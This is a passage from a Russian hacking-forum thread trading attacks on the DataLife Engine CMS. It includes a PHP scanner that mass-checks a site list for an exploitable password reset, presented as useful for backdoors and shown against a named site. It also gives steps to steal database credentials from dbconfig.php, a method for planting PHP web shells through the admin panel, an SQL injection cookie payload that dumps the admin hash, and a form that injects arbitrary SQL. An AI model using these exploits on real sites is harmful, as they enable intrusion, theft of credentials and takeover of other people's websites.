[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. piupiu

    piupiu Banned

    Joined:
    14 Mar 2011
    Messages:
    11
    Likes Received:
    1
    Reputations:
    5

    PHP:
    <?php

    if( ! defined'DATALIFEENGINE' ) ) {
        die( 
    "Hacking attempt!" );
    }

    if( 
    $is_logged ) {
        
        
    msgbox$lang['all_info'], $lang['user_logged'] );

    } elseif( 
    intval$_GET['douser'] ) ) {
        
        
    $douser intval$_GET['douser'] );
        
    $lostid $_GET['lostid'];
        
        
    $row $db->super_query"SELECT lostid FROM " USERPREFIX "_lostdb WHERE lostname='$douser'" );
        
        if( 
    $row['lostid'] == $lostid ) {
            
            
    $row $db->super_query"SELECT name FROM " USERPREFIX "_users WHERE user_id='$douser' LIMIT 0,1" );
            
            
    $username $row['name'];
            
            
    $salt "012";
            
    srand( ( double ) microtime() * 1000000 );
            
            for(
    $i 0$i 9$i ++) {
                
    $new_pass .= $salt{rand033 )};
            }
            
            
    $db->query"UPDATE " USERPREFIX "_users set password='" md5md5$new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" );
            
    $db->query"DELETE FROM " USERPREFIX "_lostdb WHERE lostname='$douser'" );
            
            
    msgbox$lang['lost_gen'], "$lang[lost_npass]<br /><br />$lang[lost_login]&nbsp;&nbsp;<b>$username</b><br />$lang[lost_pass] <b>$new_pass</b><br /><br />$lang[lost_info]);
        
        } else {
            
    $db->query"DELETE FROM " USERPREFIX "_lostdb WHERE lostname='$douser'" );
            
    msgbox$lang['all_err_1'], $lang['lost_err'] );
        }
        

    } elseif( isset( 
    $_POST['submit_lost'] ) ) {
        
        if( 
    $_POST['sec_code'] != $_SESSION['sec_code_session'] or ! $_SESSION['sec_code_session'] ) {
            
            
    msgbox$lang['all_err_1'], $lang['reg_err_19'] . "<br /><br /><a href=\"javascript:history.go(-1)\">$lang[all_prev]</a>" );
        
        } else {
            
            
    $_SESSION['sec_code_session'] = false;
            
    $lostname $db->safesql$_POST['lostname'] );
            
            if( 
    ereg'^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+' '@' '[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.' '[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'$lostname ) ) $search "email = '" $lostname "'";
            else 
    $search "name = '" $lostname "'";
            
            
    $db->query"SELECT user_id, email, name FROM " USERPREFIX "_users where {$search} LIMIT 0,1" );
            
            if( 
    $db->num_rows() > ) {
                
                include_once 
    ENGINE_DIR '/classes/mail.class.php';
                
    $mail = new dle_mail$config );
                
                
    $row $db->get_row();
                
    $db->free();
                
                
    $lostmail $row['email'];
                
    $userid $row['user_id'];
                
    $lostname $row['name'];
                
                
    $row $db->super_query"SELECT template FROM " PREFIX "_email where name='lost_mail' LIMIT 0,1" );
                
                
    $row['template'] = stripslashes$row['template'] );
                
                
    $salt "012";
                
    srand( ( double ) microtime() * 1000000 );
                
                for(
    $i 0$i 15$i ++) {
                    
    $rand_lost .= $salt{rand033 )};
                }
                
                
    $lostid sha1md5$lostname $lostmail ) . time() . $rand_lost );

                if ( 
    strlen($lostid) != 40 ) die ("US Secure Hash Algorithm 1 (SHA1) disabled by Hosting");

                
    $lostlink $config['http_home_url'] . "index.php?do=lostpassword&douser=" $userid "&lostid=" $lostid;
                
                
    $db->query"DELETE FROM " USERPREFIX "_lostdb WHERE lostname='$userid'" );
                
                
    $db->query"INSERT INTO " USERPREFIX "_lostdb (lostname, lostid) values ('$userid', '$lostid')" );
                
                
    $row['template'] = str_replace"{%username%}"$lostname$row['template'] );
                
    $row['template'] = str_replace"{%lostlink%}"$lostlink$row['template'] );
                
    $row['template'] = str_replace"{%ip%}"$_SERVER['REMOTE_ADDR'], $row['template'] );
                
                
    $mail->send$lostmail$lang['lost_subj'], $row['template'] );
                
                if( 
    $mail->send_error msgbox$lang['all_info'], $mail->smtp_msg );
                else 
    msgbox$lang['lost_ms'], $lang['lost_ms_1'] );
            
            } else {
                
    msgbox$lang['all_err_1'], $lang['lost_err_1'] );
            }
        }

    } else {
        
    $tpl->load_template'lostpassword.tpl' );
        
        
    $tpl->set'{code}'"<span id=\"dle-captcha\"><img src=\"" $path['path'] . "engine/modules/antibot.php\" alt=\"{$lang['sec_image']}\" border=\"0\" /><br /><a onclick=\"reload(); return false;\" href=\"#\">{$lang['reload_code']}</a></span>" );
        
        
    $tpl->copy_template "<form  method=\"post\" name=\"registration\" action=\"?do=lostpassword\">\n" $tpl->copy_template "
    <input name=\"submit_lost\" type=\"hidden\" id=\"submit_lost\" value=\"submit_lost\" />
    </form>"
    ;
        
        
    $tpl->copy_template .= <<<HTML
    <script language="javascript" type="text/javascript">
    <!--
    function reload () {

        var rndval = new Date().getTime(); 

        document.getElementById('dle-captcha').innerHTML = '<img src="
    {$path['path']}engine/modules/antibot.php?rndval=' + rndval + '" border="0" width="120" height="50" alt="" /><br /><a onclick="reload(); return false;" href="#">{$lang['reload_code']}</a>';

    };
    //-->
    </script>
    HTML;
        
        
    $tpl->compile'content' );
        
        
    $tpl->clear();
    }
    ?>

    Сканер сайтов по данной уязвимости, на данный момент таких осталось ~ 4%

    Но для своих бекдоров в самый раз.

    Пример:

    tomtel.org/index.php?do=lostpassword&douser=1&lostid=




    PHP:
    <?php

    /*
    piu piu
    */

    set_time_limit(0);

    $filename 'spisok.txt';

    $url "/index.php?do=lostpassword&douser=1&lostid=";

    $str 'Согласно Вашему запросу для Вас был сгенерирован новый пароль.';


    foreach(
    file($filename) as $site)
            if(
    strpos(curlPage(trim($site) . $url) , $str ))
                    echo 
    $site '<br>';

    function 
    curlPage($url)
    {
            if( !
    function_exists('curl_init'))
                    die(
    'culr off');
            
    $curl curl_init();
            
    curl_setopt($curl,CURLOPT_URL,$url);
            
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
            
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
            
    curl_setopt($curlCURLOPT_HTTPHEADER, array(
            
    'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
            
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
            
    'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404  Firefox/3.7.0 GTB7.0',
            
    'Accept-Encoding: deflate',
            
    'Accept-Charset: UTF-8,*'));
            
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
            return 
    curl_exec($curl);
    }

    ?>


     
     
    #181 piupiu, 14 Mar 2011
    Last edited: 14 Mar 2011
    1 person likes this.
  2. sanchez

    sanchez New Member

    Joined:
    23 May 2011
    Messages:
    4
    Likes Received:
    2
    Reputations:
    -1
    Воруем С DLE сайта пароли от бд

    Вроде бы еще не было так что извеняюсь если повторюсь!

    Взлом сайта на DLE версии ниже 9.0, инструкция (Работаем через браузер Opera 10).

    1. Заходим на сайт жертвы

    2. Регистрируемся и авторизуемся на сайте

    3. Переходим по ссылке _http://site.ru/engine/images.php (где site.ru - адрес жертвы)

    4. Открываем исходный код открытой нами страницы и после:

    HTML:
    <input type="hidden" name="area" value=''>
    (строка может немного отличаться и повторяться 2 раза, вставляем после 1й)

    HTML:
    <input type="hidden" name="serverfile" value='../../engine/data/dbconfig.php'>
    Нажимаем в браузере, под вкладками Применить изменения

    5. После этих действий необходимо проверить работоспособность дырки, для этого на странице http://site.ru/engine/images.php, чей исходный код мы редактировали пунктом выше, нажимаем Загрузить. В списке загруженных файлов должен появиться dbconfig.php, мы можем продолжить...

    Что бы скачать файл конфига мы должны навести на него указатель мыши и посмотреть ID, затем через Исходный код страницы / Применить изменения мы вставляем в любое место страницы сайта жертвы ссылку вида:


    <
    HTML:
    a href='http://site.ru/engine/download.php?id=ID_файла'>[download]</a>

    и скачиваем файл dbconfig.php с данными для входа в phpMyAdmin, адрес которой обычно site.ru/phpmyadmin/ или site.ru/myadmin/

    Источник
     
    #182 sanchez, 25 May 2011
    Last edited: 26 May 2011
    2 people like this.
  3. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    Как залить шелл в DLE <= 8.5
    1) Нужна админка
    2) Заходим в админку -> Статистические страницы -> Создаем любой новый(например system.html), показываем только админам.
    Пишем в окошко исходный код любого шелла на php, выбираем HTML без фильтрации.
    3) Сохраняем
    4) Заходим по адресу: http://target.com/[dlepath]/system.html
    Видим свой шелл, быстренько заливаем другой шелл, удаляем system.html с админки. Радуемся шеллу)))
     
  4. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    баг в поиске
    позволяет выполнить любой SQL запрос
    переменная sql_count не определена и если registr_global on ее можно установить
    также она устанавливаеться в search.php в блоках
    Code:
    if( in_array( $titleonly, array (0, 2, 3, 5 ) ) )
    if( $titleonly == 1 or $titleonly == 2 )
    if( $titleonly == 6 )
    
    чтоб этого не произошло устанавливаем titleonly = 4

    Code:
    <html><body><center>
    <form action="http://www.dl8.ru/index.php?do=search" method="post">
    <input type="hidden" name="do" value="search">
    <input type="hidden" name="subaction" value="search">
    <input type="hidden" name="x" value="36">
    <input type="hidden" name="y" value="11">
    <input type="hidden" name="titleonly" value="4">
    <input type="hidden" name="story" value="test">
    <input name="sql_count">
    <input type="submit" value="ok">
    </form>
    </center></body></html>
    
     
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196

    Не прокатывают или просто phpinfo ты не видишь? Глянь соурс html - там наверняка увидешь свои теги и php код.

    Лично я попробовал способ Kuteke на 8.2 - нифига код не исполняется, тупо выводится плейн текстом мое <?phpinfo();?> , а в исходниках движка даже намека на исполнение php в страницах нет.

    Потом специально поставил dle 8.5, попробовал снова - точно так же плейнтекстом <?php phpinfo();?> мне выдается в соурсе.


    Kuteke , в какой версии DLE ты это пробовал?
     
  6. ride

    ride New Member

    Joined:
    18 Apr 2010
    Messages:
    26
    Likes Received:
    4
    Reputations:
    0
    Есть ли что-нибудь более-менее серьезное в сборке DLE 8.5 от SoftDLE? (http://www.softdle.com/dle/177-dle-85.html)

    Нашел только раскрытие путей

    engine/ajax/pages.php?year[]=&month[]=&user[]=&day[]=
     
    #186 ride, 28 Jul 2011
    Last edited: 28 Jul 2011
    1 person likes this.
  7. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    попугай
    Я пробовал 8.2, 8.5, 8.3! Пахало! Даже в разделе Продажа покупал админки и все ОК! Я кажется знаю ваши ошибки! Вы просто не ставите галку напротив "Нефильтрованный HTML"!
     
  8. LIberman

    LIberman New Member

    Joined:
    24 Nov 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    PHP:
    dle_onl_session=1'+or(1,1)=(select+count(0),concat((select+concat_ws(0x3a,name,password)+from+dle_users+where+user_group=1+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+
    Через куки достается хеш админа.

    Подскажите какой запрос сделать для заливки шелла? Или чего еще интересного можно наскулить)
    гугл пробовал) те варианты выводят "1064"
     
    #188 LIberman, 31 Jul 2011
    Last edited: 31 Jul 2011
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    ставлю, конечно, делал как ты написал несколькими постами выше.

    Отпиши мне в личку, скинь соурсы двжиков, на которых это работало, если не затруднит.
     
  10. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Они именно затираются послеки клика по Ява-окну "Редактор HTML"-> "Отправить". Второй клик на открытие редактора, и теги уже затёрты, т.е. парсер при отправке отредактированного текста, их затирает.
     
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    ну я визуальный редактор не использовал - в обычном текстовом поле прекрасно <?php не затираются. Попробуй отключить визуальный редактор в настройках.
     
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    так ребята, все что связано с покупкой не в этот раздел, здесь только то что найдено вами, ни какой коммерческой деятельности, попрошу не захломлять раздел ....Присутсвует слово куплю, значит вам разделом купля/продажа
     
    _________________________
    7 people like this.
  13. Wap-Traff

    Wap-Traff Banned

    Joined:
    22 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Как через админку залить шелл в версии 9.2
     
  14. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    насколько мне известно, то пока что - никак. начиная с версии какой то там, где в шаблоне пхп блочится шелл с админки залить нельзя. возможно ошибаюсь конечно, но так было.
     
  15. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    Wap-Traff,
    вроде через config можно залить:
    http://forum.antichat.ru/showpost.php?p=890150&postcount=26
     
  16. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    ну это смотря что понимать под словом "залить". Залить можно и используя FTP протокол, и HTTP; интерфейс добавления новости, и просто самодельную форму с дыркой... Так что, залить можно всегда и везде, важно знать метод.
     
  17. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    Ну если человек спрашивает "в админку дле 9.2", то думаю фтп данных у него нет, так и как самодельной формы. А "добавление новости", очень много нюансов. Если не узнать название файла после заливки, думаю пользы он вам мало принесет... А тут свои нюансы. доступ до бд, антивирус, и прочие приколы.
     
  18. droptheacid

    droptheacid Member

    Joined:
    4 Oct 2009
    Messages:
    14
    Likes Received:
    5
    Reputations:
    5
    Ситуация в общем такая.
    Имеется админка DLE версии 6.5.
    Разрешил загрузку php, в добавлении новости залил шелл, через бд посмотрел имя своего файла на серве. Перехожу по ссылке, по которой должен быть шелл - 403. htaccess мешается. Редактирование шаблонов запрещено, поэтому инклуд отменяется.
    "вставляем в новость слово типа [attachment.....] берём его в теги [​IMG]
    Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла." С ранее приатаченой картинкой прокатывает, а с шелом нет (ни адреса шела (хотя его и из бд знаю) ни выполненного кода).
    Заливка своего .htaccess не катит так же, загруженный файл такое имя имеет 1318013145_.htaccess

    Есть идеи?
     
  19. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    droptheacid

    Идея есть всегда, например убить хтакцесс. В этой ветке 100% обсуждалось.

    Ну или, если хватит знаний вот тебе код:
    Code:
    if( $action == "doimagedelete" ) {
    
    дальше думай сам
     
  20. ITdocer

    ITdocer New Member

    Joined:
    23 Aug 2011
    Messages:
    80
    Likes Received:
    0
    Reputations:
    -5
    а есть уязвимости в версии 9,2?